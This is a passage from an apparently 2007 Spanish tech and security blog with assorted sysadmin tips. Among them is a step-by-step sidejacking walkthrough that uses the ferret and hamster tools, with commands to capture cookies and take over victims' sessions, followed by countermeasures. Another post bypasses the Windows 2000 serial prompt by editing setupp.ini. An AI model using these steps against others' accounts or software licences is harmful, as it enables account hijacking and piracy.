Yo recomiendo como algoritmo de cifrado AES-256. No soy ningun experto en criptografia, solo tengo conocimientos medios de esta disciplina, pero he leido fuentes fiables de matematicos, que son los verdaderos expertos en criptografia, que aseguran que uno de los algoritmos de cifrado mas fuertes a dia de hoy es AES. Aunque todo hay que decirlo, hasta donde yo se, en el 2002 alguien, no recuerdo el nombre, propuso un ataque teorico contra AES llamado ataque XSL. No se nada de ello, solo se que en la practica no es factible a dia de hoy. Tambien se que en el 2005 o 2006, algunos criptografos describieron un ataque a AES por temporizadores de cache, o algo asi. No se los entresijos de este tipo de ataque y soy perezoso para buscar en google sobre este tema, no me excita mucho conocer a fondo la criptografia, solo sus bases, pues la matematica que subyace se me escapa...

Añadir un boton en tu blog para que el visitante pueda guardarlo como PDF

He añadido un boton Javascript llamado "Save page as PDF" encima de mis links, para los que querais bajaros mi blog entero en PDF.

Los que querais hacer lo mismo solo teneis que dirigiros a la siguiente URL:

http://www.pdfonline.com/web2pdf/

Añadir un buscador en tu blog

Para añadir un boton de Buscar en tu blog Powered by google:

1 <input class="BlogSearch" type="text" name="searchBox" id="blogSearchText" value="" onkeypress="return blogSearch(event, this);">

2 <input type="button" value="Search" onclick="return blogSearch2('blogSearchText');" class="BlogSearchButton">

3 <script type="text/javascript">

4 function blogSearch(event, oInput) {

5 var keyCode = (event) ? event.keyCode : keyStroke.which;

6 if (keyCode == 13) {

7 top.location = 'http://www.google.es/search?q=' + escape(oInput.value) + '+site%3Avlan7.blogspot.com';

8 return false;

9 } return true;

10 }

11 function blogSearch2(oInputId) {

12 var oInput = document.getElementById(oInputId);

13 top.location = 'http://www.google.es/search?q=' + escape(oInput.value) + '+site%3Avlan7.blogspot.com';

14 return false;

15 }

16 </script>


He numerado las lineas porque algunas son largas.

Sustituir en las lineas 7 y 13: vlan7.blogspot.com por la URL de vuestro blog/web.

Si vuestro blog/web tiene subdirectorios, las lineas 7 y 13 serian algo como:

top.location = 'http://www.google.es/search?q=' + escape(oInput.value) + '+inurl%3Adirectorio+site%3Awww.url.com';

miércoles, septiembre 12, 2007

Howto: Apertura de la caja de Windows Vista

Hasta hoy he procurado que todos mis posts fueran serios, pero esto que he encontrado hoy no tiene desperdicio. Es que es de chiste vamos.

Apertura de la caja de Windows Vista:

http://windowshelp.microsoft.com/Windows/es-es/Help/2e680b8d-211e-41c5-a0bf-9ccc6d7e62a23082.mspx

Ojo: nos avisan al principio de la pagina de que esta informacion es aplicable a todos los productos de Windows Vista.

Y para mas cachondeo, al final nos preguntan si nos ha sido util esta informacion. Posibles respuestas: Si, No, Un poco. Yo, ironico hasta la muerte, he repondido que un poco.

martes, septiembre 11, 2007

Saber si un demonio esta chrooted o no bajo Linux

# ps -aux |grep apache
apache 28629 0.0 2.8 39240 7224 ? S 2006 0:03 /usr/sbin/httpd
# ls -ld /proc/28629/root
lrwxrwxrwx 1 root root 0 Set 11 12:27 /proc/28629/root -> /wwwdata
#


Vemos que apache esta chrooted en /wwwdata

# ps -aux |grep squid
root 30335 0.0 0.3 3588 788 ? S 2006 0:00 /usr/local/squid/
squid 30338 0.2 8.7 29716 22224 ? S 2006 2206:11 (squid) -D
squid 30339 0.0 0.0 1304 236 ? S 2006 6:58 (unlinkd)
# ls -ld /proc/30338/root
lrwxrwxrwx 1 squid squid 0 Set 11 12:27 /proc/30338/root -> /
#


Vemos que squid no esta chrooted.

lunes, septiembre 10, 2007

Esconder archivos en imagenes JPEG

Tenemos:

topsecret.txt El archivo a esconder.
imagen.jpg La imagen donde esconderemos el archivo topsecret.txt

Los comprimimos a archivo.rar.

En una linea de comandos escribimos:

copy /b imagen.jpg + archivo.rar imagen2.jpg.

En imagen2.jpg tenemos oculto nuestro archivo topsecret.txt.

Podemos visualizar la imagen imagen2.jpg. Tambien podemos abrir con winrar la imagen imagen2.jpg, y ahi esta nuestro archivo topsecret.txt.

viernes, septiembre 07, 2007

Calcula con UNIX tu rapidez de tecleo

START=`date +%s`
WORDS=`cat|wc -w` #caracteres seria wc -c, +info man wc
STOP=`date +%s`
SPEED=`echo "$WORDS / (($STOP - $START) / 60)"|bc`
echo Tienes una rapidez de tecleo de $SPEED palabras por minuto


Guardalo en un archivo, dale permiso +x y ejecutalo.

$ typespeed
En ultima instancia, nadie puede ver en algo, incluidos los libros, mas de lo que ya sabe. Nos faltan oidos para escuchar lo que no hemos experimentado vivencialmente. Imaginemonos el caso extremo de un libro que no se refiera mas que a vivencias que, en su totalidad, se hallan situadas mas alla de la posibilidad de ser experimentadas frecuentemente, o, incluso, poco frecuentemente; de que sea el primer lenguaje para expresar un nuevo conjunto de experiencias. En tal caso, simplemente no se oye nada, y ello produce la ilusion acustica de creer que donde no se oye nada es porque no hay nada que oir. Esta es, por ultimo termino, mi experiencia ordinaria, y, si se quiere, el caracter originario de mi experiencia. Quien ha creido entender algo de mi, lo que en realidad le ha ocurrido es que ha rehecho algo mio a su imagen; y no pocas veces le ha salido lo contrario a mi, por ejemplo, un <<idealista>>. El que no ha entendido nada de lo que digo es precisamente el que señala que no se me ha de tener en cuenta
^D

Tienes una rapidez de tecleo de 77.77 palabras por minuto
$

martes, septiembre 04, 2007

Testear la seguridad de wordpress

Bajarse un plugin llamado wp-scanner.

Descomprimirlo en el directorio wp-content/plugin del blog.

Activar el plugin desde el menu de plugins de wp-admin.

Ir a wp-scanner e intentar atacar a vuestro blog.

Cuando termine el test de intrusion acordaos de deshabilitar el plugin para que otros no os escaneen.

jueves, agosto 23, 2007

Sidejacking con ferret y hamster. Ataque y defensa.

Sidejacking es la tecnica que permite esnifar cookies y reemplazarlas contra sitios web suplantando la identidad de la victima. Se diferencia de un hijacking Man in the middle en que un ataque MitM interfiere con la sesion original, y el sidejacking no, pues la victima continua usando su sesion sin darse cuenta de que nosotros tambien estamos en su sesion.

En la conferencia "Black Hat Hacker", llevada a cabo en Las Vegas, USA, en Agosto de 2007, Robert Graham, de la firma Errata Security, demostro con sus herramientas ferret y hamster lo sencillo que es el robo de datos de cuentas de mail.

Podemos bajar las herramientas programadas por el de http://www.erratasec.com/sidejacking.zip.

Expliquemos en que consisten estas herramientas y como podemos usarlas para realizar un ataque.

Ferret es un sniffer de linea de comandos que esnifa cookies. Hamster actua de proxy basandose en los resultados capturados por Ferret. Veamos brevemente los pasos a seguir en el ataque.

Descomprimimos las utilidades en un directorio, por ejemplo c:\vlan7.

Vemos que interfaz de red queremos que Ferret esnife:

ferret -W

Supongamos que nuestra interfaz wireless es la 2, y que queremos esnifar por ella. Hariamos:

start ferret.exe –i 2 sniffer.mode=most sniffer.directory=\pcaps

con esto ya tenemos a Ferret capturando cookies que pasen por nuestra interfaz wifi, y almacenandolas en c:\vlan7\hamster.txt

Ejecutamos hamster:

start hamster

Ya tenemos un proxy local escuchando en el puerto 3128. Abrimos un navegador (yo lo hago con IE, pues habitualmente uso Opera y hamster jode las cookies que tengamos), lo configuramos para que salga por el proxy 127.0.0.1:3128 y escribimos

http://hamster

Nos saldran varias posibles sesiones de victimas. Elegimos alguna y con alta probabilidad... estamos dentro.

Si la victima no cierra sesion y la cookie es persistente, como es el caso de gmail por ejemplo, podemos reutilizar el archivo hamster.txt siempre que queramos.

El ataque fue demostrado para redes wireless abiertas, en redes wireless protegidas por cifrado (WPA/WPA2) el ataque es imposible a menos que sepamos la clave de cifrado. Y en la demostracion del ataque se uso una conexion wifi abierta, pero nada impide realizar el ataque en una red cableada. Podemos poner a Ferret esnifando en una interfaz de red cableada. Toda cookie que pase por esa interfaz sera guardada en hamster.txt. En un entorno con hub es trivial. En un entorno switcheado tambien es trivial ya en nuestros dias, basta con un simple ataque de ARP-Spoofing.

Contramedidas:

He leido por ahi, y en mas de una pagina web, de hecho en todas las que he encontrado que hablen del tema, que una contramedida eficaz es usar https en lugar de http. Pues bien, eso es falso. Todas estan equivocadas. Tal y como apunto Mike Perry el 6 de Agosto en la prestigiosa lista de correo bugtraq, la cookie de autenticacion GX de mail.google.com se transmite tanto por http como por https. Esta es la unica cookie necesaria para autenticarse en gmail.

Para demostrar la validez del ataque aun usando https, puedes visitar en tu ordenador victima de pruebas https://mail.google.com. Ahora borra todas las cookies menos la cookie GX. En Firefox lo puedes hacer con la extension CookieCuller. Despues cierra la pestaña de gmail y visita http://mail.google.com. Sorpresa: aun estaras autenticado.

La unica contramedida posible es borrar todas las cookies y/o (mejor y) hacer logout. Y si usamos wifi, cifrar siempre la conexion.

<EDIT>
He publicado este post en el que para mi es el mejor foro de seguridad informatica en castellano: Wadalbertia. Lo publique en la seccion de Seguridad. Y para mi grata sorpresa ha causado buena impresion y los admins me lo han puesto como Post-it, lo cual ha hecho que me sienta muy orgulloso.

Gracias y un cordial saludo a todos los hackers de Wadalbertia.
</EDIT>

miércoles, agosto 22, 2007

Desconectar usuarios inactivos en UNIX

A mi se me ocurren al menos 2 maneras de hacerlo.

Si los usuarios se conectan por ssh, y queremos desconectar automaticamente sesiones inactivas durante 15 minutos, editar el archivo sshd_config y jugar con las siguientes variables:

ClientAliveInterval 300
ClientAliveCountMax 3


(300*3=900 ; 900/15=60)

Para sesiones en general, no necesariamente por ssh, en bash y ksh se me ocurre editar el archivo /etc/profile si lo queremos aplicar a todos los usuarios:

TMOUT=3600

desconectara a los usuarios inactivos por 1 hora (3600 segundos).

En csh he comprobado que no funciona ese parametro. He buscado la manera de hacerlo en csh pero reconozco que no he sido capaz de encontrar la forma. ¿Algun hacker lector de este blog sabe como hacerlo en csh? Editare este post con creditos a ti si me alegras el dia diciendome como hacerlo.

Tambien os recuerdo que estoy siempre abierto a que me hagan lo que los angloparlantes llaman "hack the hack". Estimado lector, ya seas un hacker, ya seas un administrador de sistemas que resuelve problemas de formas que no vienen en el manual, llamalo como quieras, si eres suficientemente ingenioso como para mejorar cualquier post de este blog, te invito a que lo hagas. O aunque no sea mejorar, aunque sea simplemente otra forma de hacer las cosas, creeme, yo estare encantado de publicarlo. Y la forma de quitarme el sombrero ante ti es publicarlo con creditos a ti. Mi maxima es: "Bien esta lo que bien funciona. Mejor esta lo que mejor funciona.". Solo tienes que aceptar el reto de mejorar lo mejorable, simplemente por el placer intelectual de mejorarlo.

Hoy me he enrollado mas de lo habitual, lo cual no suele ser mi estilo en este mi blog personal, en el que siempre busco dar pequeños hacks a problemas concretos de la forma mas concisa y directa posible, sin ponerme a divagar sobre mis pensamientos. Pero hoy queridos lectores, hoy ahi queda eso.

"Por lo que mas se nos odia es por nuestras virtudes" Nietzsche.

viernes, agosto 10, 2007

Instalar Windows 2000 sin que pida serial

Copiar los archivos del CD de Windows 2000 al disco duro.

El archivo que nos interesa es \I386\setupp.ini

Boton derecho sobre el, Propiedades y quitar la marca de solo lectura.

Editarlo.

Tendria que ser algo similar a esto:

[Pid]
ExtraData=6166656C736263737373B2574A0581
Pid=51873XXX


XXX suele ser igual a 000. Sustituirlo por 270.

Resetear el password MySQL

# /etc/init.d/mysql stop
# echo SET PASSWORD FOR 'root'@'localhost' = PASSWORD\('NuevoPassword'\)\; >reset_pass
# mysqld_safe --init-file=reset_pass
# rm reset_pass
# /etc/init.d/mysql start

jueves, agosto 09, 2007

Windows Vista y Windows Update tras un proxy. Error 8024402C

Especificamos a Vista el proxy asi:

netsh
netsh> winhttp
netsh winhttp> set proxy miproxy.com:puerto


Paramos el servicio de Windows Update:

net stop wuauserv

Borrar la carpeta \WINDOWS\SoftwareDistribution

Iniciar el servicio Windows Update:

net start wuauserv

Todo esto con privilegios administrativos.

Y ya no deberiamos tener problema con el Windows Update.

miércoles, agosto 08, 2007

Evitar ataques DoS en Apache con mod_evasive

En paginas con consultas pesadas o en servidores que no soporten una minima carga resulta tremendamente facil provocar que el servidor deje de responder lanzando una simple prueba de carga utilizando el comando

ab - apache Benchmark

o cualquier otra herramienta decente para generar trafico HTTP.

Hay una tecnica para evitar ataques a nuestro servidor web Apache usando mod_evasive, un módulo de detección y evasion de ataques DoS. Y esta disponible tanto para Apache 1.x como para 2.x.

Se puede descargar de la web http://www.zdziarski.com/projects/mod_evasive/

Lo descomprimimos con tar xzf y lo instalamos en nuestro Apache ejecutando:

apxs -c -a -i mod_evasive20.c - para Apache 2.x

apxs -c -a -i mod_evasive.c - para Apache 1.x

Revisamos que en nuestro httpd.conf exista:

LoadModule evasive20_module /usr/lib/httpd/modules/mod_evasive20.so

Funciona de la siguiente forma: cada usuario que realiza una peticion a un proceso de Apache se almacena en una tabla en memoria. Si ese usuario excede de un cierto numero de peticiones en el intervalo definido, comienza a rechazar peticiones denegandole el acceso (les devuelve un codigo de error 403).

La configuracion es muy sencilla, y se puede situar tanto en un VirtualHost en particular, para un directorio o para el servidor en general.

DOSHashTableSize 3000 - Le indicamos el tamaño de la tabla donde almacenaremos los datos de los clientes.
DOSPageCount 25 - Indica el maximo numero de peticiones en el intervalo definido despues para una URI en concreto.
DOSSiteCount 100 - Lo mismo, pero para todo el sitio.
DOSPageInterval 7 - El intervalo de medida para una URI en concreto.
DOSSiteInterval 7 - El intervalo de medida para todo el sitio.
DOSBlockingPeriod 90 - El tiempo, en segundos, que va a estar bloqueada esa IP.
DOSWhitelist 127.0.0.1 micasa.com - ciertos dominios o IPs a los que no queremos que se deniegue nunca el servicio.

Hay un par de comandos mas que yo personalmente no activo.

DOSEmailNotify - Manda un mail a una cuenta de correo cada vez que se deniega el servicio a una IP.

DOSSystemCommand - cada vez que deneguemos el acceso a una IP, ejecutara un comando en el sistema, como por ejemplo, añadir una linea a iptables.

Creacion de VirtualHost falso en Apache para mejorar la seguridad

Como todos sabemos, existen multiples aplicaciones que intentan descubrir vulnerabilidades de seguridad de una manera automatizada.

La inmensa mayoria intentan averiguar si está el mod_proxy activado y desprotegido para poder redirigir peticiones a otros servidores. Desgraciadamente, existen muchos servidores con una seguridad muy baja que son usados para atacar otros servidores web.

Ademas muchos virus se sirven de vulnerabilidades conocidas en servidores web sin parchear para propagarse.

Existe un pequeño hack poco utili